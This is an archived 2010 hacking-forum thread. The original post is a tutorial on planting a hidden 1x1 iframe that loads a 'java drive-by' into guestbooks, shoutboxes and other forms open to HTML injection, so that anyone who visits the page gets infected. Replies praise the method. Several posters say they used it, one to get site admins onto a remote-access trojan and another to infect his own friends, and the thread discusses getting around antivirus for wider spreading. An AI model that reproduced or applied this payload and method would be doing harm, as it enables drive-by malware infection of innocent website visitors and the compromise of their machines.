+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Tutorial] Embedding java drive-by's in guestbooks/shoutboxes etc. (/showthread.php?tid=341603)
[Tutorial] Embedding java drive-by's in guestbooks/shoutboxes etc. - What's Out There - Mar 30, 2010
This tutorial (written by me, not sure if similar has been posted before), will show you how to hide your nasty java drive-by's in (vulnerable) eg. guestbooks, shoutboxes, testimonials, and anything else that has a submission form. The idea of it all is to find some submission form that is vulnerable to HTML injection, then embed an iFrame script to it. Some web owners have blocked use of HTML, some hasn't.
Requirements;
- 😈 <-- Evil face
- Your java drive-by uploaded to a host
- Skills in finding vulnerable sites (doh)
Head off to google, and search for some.. community, or just "guestbook.php", or something similar. I don't have any specific dorks, but you'll sure find something, believe me, it's not uncommon.
Once you're at the site, find your.. let's say guestbook, and in the message box type something like
Code
<b> I R BOLDZ </b>Code
<iframe src ="JAVA-DRIVEBY LINK HERE" width="1" height="1" frameborder="0">
</iframe>And submit. Now refresh the page (might not be needed), and if your java box pops up, you're a lucky shit. Now just hope that site is a high populated site, and you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. 🤗
Good luck, and atleast leave a little "thank you" if you have had any success with this.
* - iLoveDogs - Mar 30, 2010
Nice one , thanks ! :D
* - d0rhk - Mar 30, 2010
Thank you! This is awesome.
Great tut.
* - Dark Molecule - Mar 30, 2010
lol nice tut good 2 know :]
* - What's Out There - Mar 30, 2010
Thanks guys, haha. I actually did this to a swedish "animal hating clan", in their guestbook. I just wait to see these admins poppin up on my RAT so I can deface that site nicely. They don't have an special exploits since it's like HTML all over.
* - Affliction - Mar 30, 2010
Dont some anti virus scan iframes though?
* - What's Out There - Mar 30, 2010
(Mar 30, 2010 02:55 PM)Affliction Wrote: Dont some anti virus scan iframes though?
Not sure, but some anti-viruses warn for java drive-by's. But if you find some information about iframes getting detected, please tell me, because I am planning to do some imba spreading 😏
* - Yaco - Mar 30, 2010
I have to try this, thanks for this idea.
* - Affliction - Mar 30, 2010
http://community.norton.com/t5/Norton-Internet-Security-Norton/Norton-AntiVirus-and-Iframe-Threats/m-p/26562
theres on thing on it not major but it could get to be..
* - banii - Mar 31, 2010
maybe u can encrypt :D and nice tut man thx
* - khonakr007 - Mar 31, 2010
Grt...
i put this on ma website...
frnds come.. click and infected...!
wolla..cool..
but many of my frnds dnt have basic java runtime installed so thats a problem..
cant we have a flash drive by or something like that..?
* - 00niels00 - Mar 31, 2010
(Mar 30, 2010 11:20 AM)Teh Wrote:Weaxer Wrote:you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. Yeye
You get a +3 for making me laugh.
That's kinda mean to girls. Beucase they don't have a ballsack.
* - icebabe117 - Mar 31, 2010
This was & is a certainly good tutorial. thanks!
* - What's Out There - Mar 31, 2010
(Mar 31, 2010 04:11 AM)00niels00 Wrote: That's kinda mean to girls. Beucase they don't have a ballsack.
Alright, sorry girls, you'll be getting as many victims as centilitres of menstruation in your lifetime. 🤫
* - Johnisriot - Mar 31, 2010
Haha, thanks man. Sounds like a good deal.